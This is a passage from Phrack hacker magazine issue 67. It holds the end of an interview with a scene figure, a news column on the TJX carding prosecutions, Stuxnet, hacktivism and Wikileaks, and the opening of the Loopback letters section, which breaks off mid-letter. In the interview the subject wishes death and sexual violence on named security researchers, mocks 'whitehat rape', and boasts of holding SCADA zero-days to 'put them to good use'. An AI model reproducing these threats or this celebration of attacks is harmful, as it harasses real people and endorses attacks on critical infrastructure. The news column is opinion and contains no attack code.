Nowhere else on earth can you piss on that many whitehats in one
|
|
go, not to mention epic shit like getting lh to hand Dan Kam is own
|
|
funeral.
|
|
|
|
|=---=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2009 ?
|
|
|
|
Cool. Good. wtf?!. Getting there.
|
|
|
|
|=---=[ What you would like to see published in Phrack ?
|
|
|
|
More articles about breaking the rules of the matrix.
|
|
More innovative advanced exploitation techniques. More hax news,
|
|
more ridicule, route got that part right. More whitehat rape.
|
|
|
|
|=---=[ Shoutouts to specific (group of) peoples
|
|
|
|
Ac1dB1tch3z, zf0, h0no, UIA, #phrack ops, everyone@laggy, alloy,
|
|
LaMaLo, the rest of 2l8, mad props to the ILF.
|
|
|
|
|=---=[ Flames to specific (group of) peoples
|
|
|
|
Whitehats can lick my nutz, spender smokes crack. I hope
|
|
Dan Kaminsky dies from autoerotic asphyxiation. I know Ben Hawkes
|
|
will get gangraped soon. Well deserved, too. Fucking bug killer.
|
|
Also: ret_ join your dead family. Alan..I hope the irish find you.
|
|
|
|
|=---=[ Quotes
|
|
|
|
I wouldn't recommend sex, drugs or insanity for everyone,
|
|
but they've always worked for me.
|
|
|
|
In a closed society where everybody's guilty, the only
|
|
crime is getting caught. In a world of thieves, the only final sin
|
|
is stupidity.
|
|
|
|
The Edge... there is no honest way to explain it because
|
|
the only people who really know where it is are the ones who have
|
|
gone over.
|
|
|
|
Computer games don't affect kids; I mean if Pac-Man
|
|
affected us as kids, we'd all be running around in darkened rooms,
|
|
munching magic pills and listening to repetitive electronic music.
|
|
|
|
|=---=[ Anything more you want to say
|
|
|
|
Hackers always w1n. And by hackers, I mean blackhats.
|
|
This fuckton of scada 0days isn't going anywhere anytime soon, but
|
|
you can be sure we will put them to good use.
|
|
|
|
I would also like to thank the Phrack staff for this honor.
|
|
|
|
--------[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x03 of 0x10
|
|
|
|
|=--------------------------------------------------------------------=|
|
|
|=-----------------------=[ Phrack World News]=-----------------------=|
|
|
|=-------------------------=[ by EL ZILCHO ]=-------------------------=|
|
|
|=----------------------=[ elzilcho@phrack.org ]=---------------------=|
|
|
|=--------------------------------------------------------------------=|
|
|
|
|
|
|
1. The TJX Case and the Longer Arm of the Law
|
|
|
|
2. Stuxnet, Cyberwar, Hacktivism and Political Hacking
|
|
|
|
3. Wikileaks and Whistleblowing
|
|
|
|
4. Scene Events: the Final Word
|
|
|
|
-------------------------
|
|
|
|
|
|
--[ 1. The TJX Case and the Longer Arm of the Law
|
|
|
|
When the going gets weird: The TJX crew / Probation for the narqs, tough
|
|
sentences for the hard luck crowd / The longer-reaching arm of the law
|
|
|
|
Computer crime and hacking have always made for uncomfortable bed fellows,
|
|
splitting hackers into two general camps; The laissez-fair consideration
|
|
of those who know they commit several technical crimes before even getting
|
|
out of bed in the morning, and those whose fear of the law drives them,
|
|
essentially, straight -- condemned to endless nights in front of a
|
|
debugger with nary an unauthorized rootshell to be seen.
|
|
|
|
So where to draw the fuzzy line under the TJX crew, from the manipulating
|
|
Gonzales, who narqed out #phrack opers early in 2003, to the erstwhile
|
|
seven-foot tall computer programmer the_uT who faces two years in the cage
|
|
and a $172.5 million restitution for the writing of a simple computer
|
|
program that most of us could have written at age fifteen, under the
|
|
influence of ketamine or not?
|
|
|
|
PWN corespondents have viewed the original source code to 'blabla' and can
|
|
attest that it consists of nothing more than a read loop from a raw socket
|
|
on a high port outputting, unformatted and unfiltered, data to a file. To
|
|
say that tcpdump is a far more sophisticated piece of software for data
|
|
thiefing is not an exaggeration.
|
|
|
|
At least we can say with a comforting certainty that the fine old art of
|
|
narqing like a pro will still get you out off the hook in times of phear
|
|
and stress. As many old-timers will attest, narqing has been a fine
|
|
defensive tradition among hackers over the years, with many well-loved
|
|
figures of hacker mythology, from Chris Goggans to Agent Steal, being firm
|
|
believers in the practice.
|
|
|
|
The TJX case has been a prominent reminder of the efficacy of the ancient
|
|
technique of daubing one's mates in, with all sides planting knives
|
|
between shoulder blades with sickening alacrity and producing some truly
|
|
Olympic-grade scores in the Freestyle 100m Narq -- to wit, among others:
|
|
|
|
* Patrick 'eckis' Toey who faced a maximum sentence of twenty-two years,
|
|
reduced to a paltry five years by merit of supplying 'extensive
|
|
cooperation' to the authorities.
|
|
|
|
* Breakout act Jeremy 'horse addict' Jethro -- evidently the star of the
|
|
case -- managing to not only narq out everyone he knew, but then managing
|
|
to find his Saviour in Our Lord Jesus Christ AND being fined less than
|
|
what he actually earned for his crimes (thus earning a nice little
|
|
profit); He also managed to get his sentence commuted to probation, on top
|
|
of everything else! Once again, this is solid proof that God is indeed on
|
|
the side of the just.
|
|
|
|
* Albert 'soupnazi' Gonzales -- the sole failure here, scoring miserably
|
|
by still receiving a massive twenty-year sentence despite having
|
|
implicated everyone he knew up to and including his own grandmother
|
|
|
|
-- and that's just for starters.
|
|
|
|
The most disconcerting element in the entire show so far for anyone in any
|
|
way involved in any sort of criminal activity (or, indeed, anyone who
|
|
involves themselves in anything anywhere near anything resembling criminal
|
|
activity), is the startling comaraderie and friendly interaction between
|
|
international agencies - particularly Interpol and the FBI. Especially the
|
|
FBI.
|
|
|
|
Recent international busts involving novel interaction between agencies
|
|
has lent heavy weight to previously unfounded concerns of privacy
|
|
advocates. The mere idea of a foreign national's being arrested overseas
|
|
and renditioned/transferred to the custody of American civilian agencies
|
|
purely on the basis of American testimony and evidence is enough to turn
|
|
the stomachs of anyone, and yet it seems to have gone largely under the
|
|
radar -- especially among American Citizens.
|
|
|
|
The pseudo-criminal actions necessitated by the various agencies involved
|
|
in order to bring down Gonzales would stagger even the most ardent
|
|
Republican waterboarder. To wit, the hard drives belonging to Ukrainian
|
|
carder Maksym 'Maksik' Yastremskiy were cloned during his trip to Dubai
|
|
and yet again when he was coerced into visiting someone in Turkey (all the
|
|
while while US agencies tried to tote the party line that they caught him
|
|
while he was taking "vacation" -- conveniently ignoring the fact that they
|
|
lured him to visit) and his movements tracked throughout Europe and Asia
|
|
over an extended period of time. We can be sure that Interpol had not the
|
|
gumption nor Ukrainian officials the interest (or resources) to bring
|
|
about this level of interplay. With the evidence in hand, surely only the
|
|
FBI can be to blame? The Turkish officials got to crow about a 30 year
|
|
prison sentence -- in a Turkish prison, no less -- and the US got to cross
|
|
one more name off their "to do" list, case closed, job done -- success all
|
|
around.
|
|
|
|
Further confirmation of such a hearty and hale level of cooperation was
|
|
provided just this past October by the FBI, who affirmed that the break-up
|
|
of a major Zeus botnet ring was the result of an "unprecedented"
|
|
partnership between the FBI and police forces around the world including
|
|
the UK's Metropolitan Police, the Security Service of Ukraine (SBU) and
|
|
the Netherlands Police Agency. So far the international Operation Trident
|
|
Breach effort has yielded more than 150 arrests across the US, the UK and
|
|
Ukraine, the FBI said. One can assume that's only "so far" and that once
|
|
the narq ball gets rolling, yet more waves of arrests -- and yet more
|
|
international cooperation -- will commence in earnest.
|
|
|
|
Perhaps you are wondering what this has to do with you, at this point.
|
|
Perhaps you ARE merely doing your job as a whitehat, researching these
|
|
transglobal "criminal conspiracies", reversing malware, sticking to only
|
|
machines you have permission to access, maybe even contributing to some
|
|
open source projects and communicating giddily about 0day bugs on bugtraq
|
|
and full-disclosure, or releasing exploit information on your twitter
|
|
feed; after all, in this wired global age, the opportunities for
|
|
collaboration are indeed unprecedented. But where does one's level of
|
|
responsibility for the use of one's research end and begin? Dig Sklyarov
|
|
and the DMCA brouhaha. Witness certain unnamed Linux distros suddenly
|
|
being unwilling to allow tools such as SQL Ninja to be included in their
|
|
source code repositories.
|
|
|
|
At what point might YOUR code be considered a munition? At what point
|
|
might your totally legitimate work as a whitehat (or greyhat, or what have
|
|
you) researcher, or pentester, or even systems administrator or website
|
|
developer be called into question? While it is certainly difficult to
|
|
argue that putting identity thieves behind bars is a quote-unquote "bad
|
|
thing", it is also difficult to refute that code itself is being seen as a
|
|
munition (just as crypto was not so long ago, and probably will be
|
|
increasingly so again, as time passes and the reins tighten up in only
|
|
somewhat predictable ways).
|
|
|
|
If you mistakenly introduce an error into your codebase at work and it
|
|
creates a security hole, can you prove it was not intentional? There
|
|
really are no guarantees. An overly aggressive legal system will at the
|
|
very least threaten to steal time, money, resources, and quite probably
|
|
your reputation.
|
|
|
|
If you're very unlucky you might wind up in jail, or in trouble for
|
|
something someone you know was involved in, in hopes that you will be the
|
|
next hacker willing to daub in his (or her) mates to be set free, thus
|
|
maintaining the cycle of narqing and providing an always-revolving door of
|
|
the Usual Suspects to lay blame to. That's not even including the Patriot
|
|
Act and wiretaps (an issue pretty much deserving of its own article some
|
|
other time).
|
|
|
|
The exposure of Google's Street View Wifi data gathering fiasco is likely
|
|
only the tip of the iceberg -- what we were told was the accidental coding
|
|
error of a single engineer (who probably will wear that virtual scarlet
|
|
letter on his resume for life). And yet again, in that case, other
|
|
countries were first to protest; only lately has there been a strange and
|
|
questionable desire TO have those records retained -- for what purpose who
|
|
only knows.
|
|
|
|
The question to wrap all of this up with, here, probably isn't "Does it
|
|
affect you now?" (unless you are indeed a blackhat, in which case, no
|
|
doubt, this will impact you tremendously). The question is "can you be
|
|
sure it never will?"
|
|
|
|
|
|
--[ 2. Stuxnet, Cyberwar, Hacktivism and Political Hacking
|
|
|
|
It's no secret that, with the US economy in a state of planned poverty,
|
|
conventional sense. But the growing speculation, that Iran's nuclear
|
|
power plant at Bushehr will turn into a weapons program, is a timely
|
|
excuse for governments to exercise their newfound cyber warfare tactics.
|
|
Iran believes Stuxnet was intended to derail its nuclear ambitions; and
|
|
"analysts" expect us to believe that a string of numbers, the name of some
|
|
shrubbery, futbol domains, and weird 2012 shit... somehow indicates Israel
|
|
was behind it all. The reality is probably this: as much as Israel's
|
|
super star hacking squads would love to take down Bushehr, Russia is
|
|
standing in the way, defending its plan for a return on investment.
|
|
|
|
Stuxnet represents just one of a few big events in this arena since last
|
|
issue. We've also had Aurora and that whole Google scandal in China.
|
|
Hildawg has been bitching about China from the start, and it came as no
|
|
surprise that pressure would be put to bear on big companies, like Google,
|
|
to defame China's government in the midst of a GFC. More recently,
|
|
Europe's cyberwar simulation has been hailed as a success, with countries
|
|
across the EU learning to defend against over 300 attacks. This marks
|
|
another milestone in the EU's attempt at coordinating intraregional
|
|
cybercrime investigations. Across the Atlantic, USCYBERCOM has finally
|
|
gone live. While governments prefer to keep their military hax a secret,
|
|
there exists a necessity for them to demonstrate their power. Welcome to
|
|
a whole new wave of terror, hackers.
|
|
|
|
The majority of high profile attacks in the last year show a trend towards
|
|
highly skilled and targeted hacks that take a lot of time and/or money to
|
|
develop. In these cases there is minimal collateral damage, months may
|
|
pass before detection, the hackers are anonymous, and the vector is
|
|
unique. While these are still large-scale attacks, they're not intended
|
|
to affect the entire internet -- just a select few major players, and
|
|
sometimes only for a short while. As corporations and governments throw
|
|
big bucks into cyber warfare we're going to start to see some of the big
|
|
names in the IT industry get left behind.
|
|
|
|
The continued DDoS of Burma, in the lead-up to its first election in over
|
|
20 years, showed a recent and unwelcome return to stupidity and ignorance
|
|
at a rate of 10-15gbps, easily dwarfing the Estonia DDoS of 2008. Amnesty
|
|
International had been working hard to get radios into Burma, so that
|
|
people could keep up with the election news from across the border. Days
|
|
after the election, their Hong Kong website was compromised and visitors
|
|
were attacked with an IE exploit that Microsoft knew about, but blatantly
|
|
refused to patch early.
|
|
|
|
On the same day that the Burma DDoS began, the Iranian Cyber Army
|
|
announced its "botnet for hire", though it is rather unlikely that there
|
|
is a substantial link between the two. Their admin system is some kind of
|
|
honeypot, their stats are fake, and surely the very idea should have
|
|
screamed of an obvious trap. But as the news started to spread, bloggers
|
|
began recycling news media, and slower reporters started relying on those
|
|
bloggers, until we started coming across reports that ICA was renting out
|
|
"the same botnets that took down Twitter and Baidu". Uh, sorry? Last
|
|
time I checked, social engineering a dude at Register.com didn't require a
|
|
botnet.
|
|
|
|
But hey, maybe there is a botnet, or at least one in development. It's
|
|
hardly as though ICA are the first to do so. But their treatment by news
|
|
media is ridiculous. I mean, if these guys really are an "army" then just
|
|
where were they when Honker struck out in retaliation for Baidu's
|
|
defacement earlier this year? Unfortunately the media still clings to
|
|
them because of a handful of high profile defacements. And because they
|
|
tend to pop up every time something big happens, some journalists actually
|
|
think these kids are an officially sanctioned military force that reports
|
|
to Ahmadinejad himself! I don't believe, for a second, that they're even
|
|
Iranian to begin with.
|
|
|
|
On the related note of poor-man's hacking, we're also seeing a rise in
|
|
grassroots hacktivism. Social networking sites are making it increasingly
|
|
easy to inspire angry mobs of ordinary computer users to take part in a
|
|
DDoS by clicking a link. Years ago we laughed at those kinds of methods
|
|
(remember the cDc's hacktivismo?). But we're not on dialup anymore, and
|
|
there's not a lot you need to get your own "human-net" started -- just a
|
|
persuasive cause and a handful of idiot-proof programs. LOIC is popular
|
|
for this, as are websites that send GET requests in iframes over and over
|
|
and over. Next thing you know, there's thousands upon thousands of stupid
|
|
tweeters, staggering forth like something out of Resident Evil. This
|
|
isn't even including the more normal botnets that use sites rely on
|
|
Twitter for commands. Throw that into the mix and Twitter becomes some
|
|
kind of pluralistic middle-class pseudo-political force to be reckoned
|
|
with. Law enforcement seem to just give up in those cases. Too many
|
|
people to chase. Not enough resources to prosecute them all. The most we
|
|
see is the instigators of these human-nets being hunted down. As the RIAA
|
|
and MPAA attacks showed us, Anonymous ain't so anonymous when they plan
|
|
their attacks in the open, in front of feds, on 4chan and Darknet.
|
|
|
|
The trend toward military-directed cyber attacks is prompting some
|
|
academics to call for a change to the laws that regulate the conduct of
|
|
hostilities in war. They are questioning whether a country can remain
|
|
neutral in a cyber war if the data carrying the attack travels along that
|
|
country's pipelines. Some militaries insist that for hackers to qualify
|
|
for "prisoner of war" status, these geeks must wear a special hacker
|
|
uniform and carry a sidearm (I like to think this uniform would look like
|
|
TRON Guy).
|
|
|
|
And then there's the question of whether something like Stuxnet can be a
|
|
legal impetus for conventional war. The real beauty of Stuxnet isn't just
|
|
in the code (as specialised and 0-day as it may have been) -- it's also in
|
|
the attack vector. If you conveniently lose your malicious USB key in a
|
|
parking lot, and some "unscrupulous person" picks it up and decides to use
|
|
it at work... YOU are not committing an attack -- at least not directly
|
|
(one could argue, after all, that they had no business picking up the usb
|
|
key in the first place). Moreover, philosophical arguments aside, if
|
|
you're a civilian, the likelihood of you being charged with anything is
|
|
extremely remote. Add all of this to the essential argument that hacking
|
|
cannot be considered an act of war necessitating self-defense unless the
|
|
hack can be compared to a substantive and conventional military attack,
|
|
and conventional arguments are essentially thrown out the window. In other
|
|
words, in the case of Stuxnet, while Iran recognises there was espionage,
|
|
and possibly an intentional attack, the worm was not an "armed attack"
|
|
sufficient to qualify self-defense under the UN Charter.
|
|
|
|
In sum, if the events occurring since the last issue has been anything to
|
|
go by, the next decade will see a growing disparity between the nature of
|
|
high-profile hacks, but at the end of the day the bulk of it is the same
|
|
old same old, with some new shit thrown in. Militaries are fast becoming
|
|
a cyber-force to be reckoned with, but in the absence of laws to regulate
|
|
their actions, don't expect bombs to fall as a result. While it is most
|
|
probably that the recent spate of uniquely targeted high-profile attacks
|
|
will go unpunished, what we can expect is the government to play an
|
|
increasing role in regulating the Internet and hunting down ordinary
|
|
hackers in the name of a "war on cyber terrorism".
|
|
|
|
|
|
--[ 3. Wikileaks and whistleblowing
|
|
|
|
But what of Wikileaks? While it is undeniable that it has had some impact,
|
|
one must ask oneself if we are not just raucously accepting as a date to
|
|
the prom the only girl who asked us out and considering ourselves lucky to
|
|
have found anyone at all. One could argue that when a society needs a
|
|
hero, someone will always be willing to show up fighting, but the same
|
|
could be said of most movements, even including the upstart 'Tea Party'
|
|
being cawed about on Fox News to cheers by the same people who would have
|
|
voted for Obama if they'd been Democrats instead of Republicans. Perhaps
|
|
it's unfair to tilt this article so specifically in the direction of the
|
|
US -- after all, Wikileaks has shed some light on some tremendously
|
|
important stories in the three or four years since its inception -- but
|
|
it's hard to argue that 2010 was the year that Wikileaks came to true
|
|
nation-wide attention, due in no small part to a certain "redacted" video
|
|
going by the sobriquet "Collateral Damage", and then fueled by the
|
|
document dumps ostensibly leaked by US insiders concerning Iraq and
|
|
Afghanistan that came not long thereafter.
|
|
|
|
Yes, we have a responsibility to make information acceessible, or at least
|
|
make the knowledge of how such information is stored and used more public,
|
|
less draconian and redolent of a country poised to curtsy/bow to 'Mein
|
|
Fuhrer' but we also have a responsibility to treat that information with
|
|
respect, and more importantly to be able and willing to filter that data
|
|
through the sieve of common sense and reason: Data should be valuable
|
|
because it is valuable data (and in some cases the releases by Wikileaks
|
|
have indeed been valuable data) and not valuable simply by the reasoning
|
|
that "they don't want us to have it."
|
|
|
|
By the same token, sometimes the very act of sticking the proverbial
|
|
middle finger up at The Man serves as a call to arms -- or at the very
|
|
least a rate limiter: A way to urge the current Powers That Be to think a
|
|
little more before trying to instituting even further privacy eroding
|
|
measures. Conversely, it is all too easy for any country to consider any
|
|
"leak" -- righteously whistleblowing or not -- as an act of war, or an
|
|
excuse to add a few zeros to a department's line budget.
|
|
|
|
And there's something else we all need to be thinking about:
|
|
|
|
Every country, every war, every movement has secrets. We may tell
|
|
ourselves that information wants to be free, but freedom comes with a
|
|
price and some secrets are GOOD secrets. More importantly there OUGHT to
|
|
be some secrets in the world.
|
|
|
|
To completely submit to Wikileaks' vision is almost more akin to Big
|
|
Brother than anything the US government -- or any other government --
|
|
could possible create on its own: A culture where your every move may be
|
|
exposed, your every thought may be tallied, your every minutiae published
|
|
for the whole world to see, in a world where Google gambols giddily in the
|
|
grasses of greed and Facebook and Twitter announce to the world your every
|
|
move to a perceived audience of enthralled onlookers all willing to say
|
|
'you!' when you say 'ah, me!'. In a way we're already most of the way
|
|
there, and that's a very dangerous thing. When your baseline gets reset
|
|
and you don't REALIZE that your privacy is being invaded, then the great
|
|
big "They" has already won -- and you have just let yourself do the dirty
|
|
work for Them.
|
|
|
|
One could argue that if PFC Manning did indeed leak what has been
|
|
attributed to him, he may have done a heroic thing, but the fact that he
|
|
may have also broken a trust that he covenanted into in advance with the
|
|
US government is difficult to completely discount. The Manning case having
|
|
received the attention it has gotten this year has brought up a lot of
|
|
grey areas in peoples' political belief systems, but it has also begged
|
|
the question: What *is* "whistleblowing" and what is "disloyalty"? What is
|
|
"patriotism" and what is "narqing"? When can one trust one's judgment
|
|
about another person's true intentions and is it truly as cut-and-dry as
|
|
we all wish it would be? Adrian Lamo snitched, but it is always possible
|
|
that he thought he was protecting himself or his country even as he may
|
|
have also been trying to cobble together some newfound publicity for a
|
|
receding career that has been inarguably past its prime for years now. At
|
|
some level this isn't about government or whistleblowing or privacy --
|
|
it's about society and about interpersonal trust, and perhaps that is
|
|
where things get the murkiest. Naive or not, trust is dealt out
|
|
increasingly to total strangers on the internet. One could argue that
|
|
Manning, if indeed that was Manning, was naive in trusting a veritable
|
|
stranger, but most of us do this on a regular basis now; the difference
|
|
here is, Manning paid.
|
|
|
|
Without an explicit agreement of nondisclosure one cannot truly and
|
|
totally scorn somebody for "squealing", but by the same token our very
|
|
society has been built up on such simple and implicit bonds of trust: I
|
|
will not hurt you, I will not steal from you, I will not betray you. I may
|
|
not agree with what you do, but I respect your choices as an individual.
|
|
At what point does that trust need to be broken off? Some secrets are
|
|
good, if they contribute to the greater good of society -- and that goes
|
|
*both* ways -- at times in favour of the individual, at other times in
|
|
favour of government. As a species we always want to root for the Underdog
|
|
(and nowhere is this more true than the US, perhaps), but given the fast
|
|
fluxing nature of the Internet, who the Underdog is can flip at a second's
|
|
notice: At first Wikileaks was the cause celebre of people everywhere,
|
|
then came the backlash. All movements have backlashes, and Wikileaks was
|
|
bound to not be the exception.
|
|
|
|
Perhaps one reason so many scorn Wikileaks has to do with the closed-book
|
|
nature of a site so overtly and devoutly espousing transparency; at some
|
|
point it becomes difficult not to interpret all sides as playing with
|
|
similar playbooks. But it's difficult to win at poker at a table where
|
|
everybody knows your cards, especially when the rest of the players have
|
|
bankrolls that far eclipse your own. Again, the question arises: When is
|
|
transparency necessary, and when is secrecy a requirement to make any
|
|
progress at all? On the one hand, one must worry about too much
|
|
transparency; on the other hand, one must worry about too much lurking in
|
|
the shadows. In the past we had journalists to expose corruption; now it
|
|
is often journalists themselves fighting off corruption charges, hiding
|
|
facts, skewing evidence.
|
|
|
|
It's incredibly difficult to deny that some transparency, and indeed
|
|
Wikileaks itself, can have a positive impact -- and it's hard to imagine a
|
|
world where SOME sunshine shouldn't be shed; The trick here is to remember
|
|
that such increased levels of exposure demand we be a more responsible,
|
|
measured animal -- something as homo sapiens we have really never learned
|
|
how to do or be.
|
|
|
|
There is no way to shove the genie back into the bottle, and old rumours
|
|
on the Internet never really die -- they just get archived til someone
|
|
else manages to come along and dig them up from their temporary graves.
|
|
This holds great promise for the future of integrity, but it also creates
|
|
issues when the possibility of outright falsehoods are introduced,
|
|
especially through an anonymous third party, or in cases where a split
|
|
exists between haves and have-nots; who really has time to monitor their
|
|
reputation online to that level? And if someone does besmirch your name,
|
|
what can be done?
|
|
|
|
If your data shows up on a whistleblower site care of a third party, then
|
|
it also becomes yet another way to show a display of power: The
|
|
Vice-Presidential hopeful breaks the rules -- nay, the law -- and walks
|
|
free while the college student who guesses at her password gets sentenced
|
|
to a year of supervision or prison. If there is to be light shed, then it
|
|
should be an equally penetrating (and perhaps softer) light -- not a light
|
|
meant to shine in the victims' faces and hide the face of the perpetrators
|
|
-- especially when the label of 'victim' and 'perpetrator' is so murky and
|
|
grey (as in the Palin case; one could argue both sides committed some form
|
|
of fault).
|
|
|
|
Julian Assange likes to say 'speak truth to power" but this is a tall
|
|
order; to first be able to speak ANYTHING to power, you must basically
|
|
gain the ear of the powerful, or you just get thrown
|
|
into an eddy, left to whirl around with a bunch of kooks and nutjobs (as
|
|
any federal agent handling walk-ins will likely attest to, and too, so
|
|
must whistleblowing sites contend with; with fame
|
|
comes your own raft of nutjobs to weed out).
|
|
|
|
It'd be hard to deny that whatever else Wikileaks has accomplished in the
|
|
past year, it has gotten someone's attention. Whether that will be a good
|
|
thing or a bad thing remains to be seen... But one imagines any call to
|
|
arms must bring about some force for good, even if that force is something
|
|
as simple as a renewed spirit of vigour and willingness to be involved
|
|
among an otherwise sluggish populace juggling its own sense of
|
|
powerlessness in a country demanding what essentially constitutes sexual
|
|
assault merely in order to board an airplane. To make an omelet you must
|
|
first break some eggs; To create a change you must first gain the ear of
|
|
not just power but the people itself -- and then you must charge them with
|
|
the duty to act.
|
|
|
|
The true collateral damage may wind up being Manning himself, here;
|
|
basically judged guilty already, his name forever stored, his
|
|
acquaintances being hassled, his personal life bared open to the
|
|
world, he serves as both an example of what to strive for and a
|
|
cautionary tale for a new age. What the future holds for him remains to be
|
|
seen, but with any luck he will receive a fair trial by a jury of his
|
|
peers -- if any such people even exist.
|
|
|
|
Wikileaks may not be perfect -- in fact, it may be deeply flawed -- but
|
|
for now it's probably all we're going to get. And we should probably be
|
|
grateful for it -- but wary. Always wary. The danger of mixing the message
|
|
up with the messenger is always great, and there is no real way for any
|
|
whistleblowing site to always be 100% correct. Even governments have an
|
|
incredible amount of difficulty verifying the veracity of any information
|
|
or separating rumours from fact; to put this level of blind trust in a
|
|
volunteer organization with no oversight is bound to be fraught with a
|
|
whole host of issues we haven't seen the likes of yet... For instance,
|
|
what happens when a non-governmental entity views it as a potential source
|
|
of information? Once any whistleblowing site gets information, it is out
|
|
there; what is done is done; At this point, false flags and disinformation
|
|
is also an issue; the possibility of tricking any whistleblower site to
|
|
publish false information would destroy not only its credibility if found
|
|
out but possibly be used to forward some governmental or non-governmental
|
|
party or agenda. Additionally, to believe everything that any organization
|
|
says is as short-sighted as believing everything your government tells you.
|
|
|
|
Ultimately your conscience will have to be your guide -- and likely no two
|
|
consciences will ever completely agree, especially about anything as
|
|
at-times agit prop as Wikileaks can be, or as secretive as governments
|
|
have always been.
|
|
|
|
|
|
--[ 4. Scene Events: the Final Word
|
|
|
|
To be sure, many other events have taken place this past year and a half
|
|
(the whitehat-vs-blackhat wars forever raging (cue zf05 and the
|
|
never-ending arguments about disclosure-vs-nondisclosure); the global
|
|
emergence of a harsher, more organized form of cybercrime (and the many
|
|
busts that resulted); etc, etc), but several basic themes emerge: There
|
|
has been fraud -- but there has always been fraud. There have been
|
|
invasions of privacy -- but there have always been invasions of privacy.
|
|
There have be governments overstepping their bounds -- but there have
|
|
always been governments overstepping their bounds. That doesn't make any
|
|
of it acceptable, but it also doesn't make any of it new -- nor does it
|
|
give any of us an excuse to pretend it has nothing to do with us (no
|
|
matter where you reside or what flag you fly (or choose not to fly,
|
|
whatever the case may be)). If anything, there has been an amplification
|
|
of all of the above, but none of it is truly 'new'. Read past issues of
|
|
Phrack: All of the above has existed in some form or another, just on a
|
|
smaller scale. It's still existed.
|
|
|
|
Judging by the drive for wealth or fame or infamy displayed in so many of
|
|
this year's stories, it bears mentioning that we cannot let a few key
|
|
players make us forget how important it is to treat technology
|
|
responsibly, reasonably -- to love it, to hack it, to, please, take risks,
|
|
but to do so with heart
|
|
|
|
-- with CONSCIENCE --.
|
|
|
|
In the end it all starts and ends with you.
|
|
|
|
[EOF]
|
|
|
|
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x04 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------------------=[ L O O P B A C K ]=------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------------=[ Phrack Staff ]=--------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
Hi there!
|
|
|
|
As you may have noticed, the Loopback tradition had been lost for years.
|
|
The previous staff decided to remove it as it was a little bit hum... let's
|
|
say 'teasing' ;>
|
|
|
|
Can you remember Duvel's remark on that fact?
|
|
|
|
A brief history of the Underground scene (p64):
|
|
|
|
---
|
|
Take a look at the Phrack Loopback responses during the first 10 years
|
|
to the recent ones. A much higher percentage of responses are along the
|
|
lines of `you're an idiot, we at Phrack Staff are much smarter than
|
|
you.`...
|
|
---
|
|
|
|
Well good news folks, it's back. We chose to resuscitate it as:
|
|
- it's fun. YES IT IS (especially considering the fact that people
|
|
were not aware of its coming back)
|
|
- we promise not to be too much of bitches (or so they hope) ;>
|
|
- we want YOU to share with the Underground. As such for the next issue
|
|
you are very welcome to send us mails of all kind
|
|
- we are poor on philes for this issue (just kidding BTW, we're just
|
|
elitist arrogant bastards)
|
|
|
|
We humbly apologize to all guys we never answered to neither by mail nor
|
|
through this phile because we suck at filtering our spam (this could
|
|
_absolutely_ not be a laziness issue, right?)
|
|
|
|
Time to find out who wanted to say hello.
|
|
|
|
-- The Phrack Staff
|
|
|
|
|
|
|--=[ 0x00 - From India ]=-----------------------------------------------=|
|
|
|
|
Subject: Re: Null Conference and Security Community
|
|
From: Prashant KV <bug@null.co.in>
|
|
Cc: Marketing <marketing@null.co.in>
|
|
|
|
[ Marketing? :> ]
|
|
|
|
Hi,
|
|
|
|
[ Hi Prashant ]
|
|
|
|
[...]
|
|
|
|
Null is a community of enthusiastic hackers and security professionals in
|
|
India. It all started with a motive to promote advance security research in
|
|
India.
|
|
|
|
Null has immensely contributed in nurturing young hackers and providing a
|
|
platform to amateurs. Over the years, the Indian industry and several
|
|
government organizations have benefited from the expertise of Null members.
|
|
Be it creating awareness among Indian developers or defending Indian
|
|
Infrastructure, Null members are everywhere.
|
|
|
|
As a part of continued efforts in creating awareness among our enthusiasts,
|
|
Null conducts an annual conference in carnival city of Goa called Nullcon.
|
|
Hackers, talks, workshops, party and booze invites you, 25-26th feb 2011
|
|
Goa India.
|
|
|
|
[ Thanks to the Null members, we have an interesting paper on the Indian
|
|
hacking scene. Kudos. Please have a look at their websites:
|
|
|
|
http://null.co.in / http://nullcon.net/cfp-nullcon-dwitiya (CFP)
|
|
]
|
|
|
|
Regards
|
|
Prashant
|
|
|
|
|--=[ 0x01 - Th1nkG33k ]=------------------------------------------------=|
|
|
|
|
Subject: Legion of Doom T
|
|
From: Ted Mosby
|
|
|
|
[ Hi Ted. Is Barney with you? ]
|
|
|
|
Is this shirt still available? I know it's from the early 90s, but I had
|
|
one of these and I've always wanted to get another.
|
|
|
|
(For a limited time, the original is back!)
|
|
|
|
"LEGION OF DOOM -- INTERNET WORLD TOUR"
|
|
|
|
The front of this classic shirt displays "Legion of Doom Internet World
|
|
Tour" as well as a sword and telephone intersecting the planet earth,
|
|
skull-and-crossbones style. The back displays the words "Hacking for Jesus"
|
|
as well as a substantial list of "tour-stops" (Internet sites) and a quote
|
|
from Aleister Crowley.
|
|
|
|
[ Dammit. We didn't even know it existed. Sorry bro, no clues on this
|
|
one. ]
|
|
|
|
|
|
|--=[ 0x02 - Drug abuse is bad ]=----------------------------------------=|
|
|
|
|
Subject: Binary is Hacked!!!
|
|
From: killerzerosones@null.net
|
|
|
|
555555555 55 5555 55 55555555 55555555 55 55
|
|
55 555 55 55 55 55 55 55 55 55 55 55
|
|
55 5555 55 55 55 55 55 55 55 55 55 55
|
|
55 555 55 55 55 55 55 55 55 55 55 55
|
|
555555555 55 55 55 55 55555555 55555555 555555
|
|
55 555 55 55 55 55 55 55 555 55
|
|
55 5555 55 55 55 55 55 55 55 55 55
|
|
55 555 55 55 55 55 55 55 55 555 55
|
|
555555555 55 55 5555 55 55 55 5555 55
|
|
55 555555555 55 55 55555555 55555555 55 55555 55555555 55555555
|
|
55 55 55 55 55 55 55 55 55 5555 55 55 55
|
|
55 55 55 55 55 55 55 55 55 555 55 55 55
|
|
55 55 55 55 55 55 55 55 55 55 55 55 55
|
|
55 555555555 55555555 55555555 55 555 55555555 55 55
|
|
55 55 55 55 55 55 55 55 55 55 55 55 55
|
|
55 55 55 55 55 55 55 55 55 555 55 55 55
|
|
55 55 55 55 55 55 55 55 55 5555 55 55 55
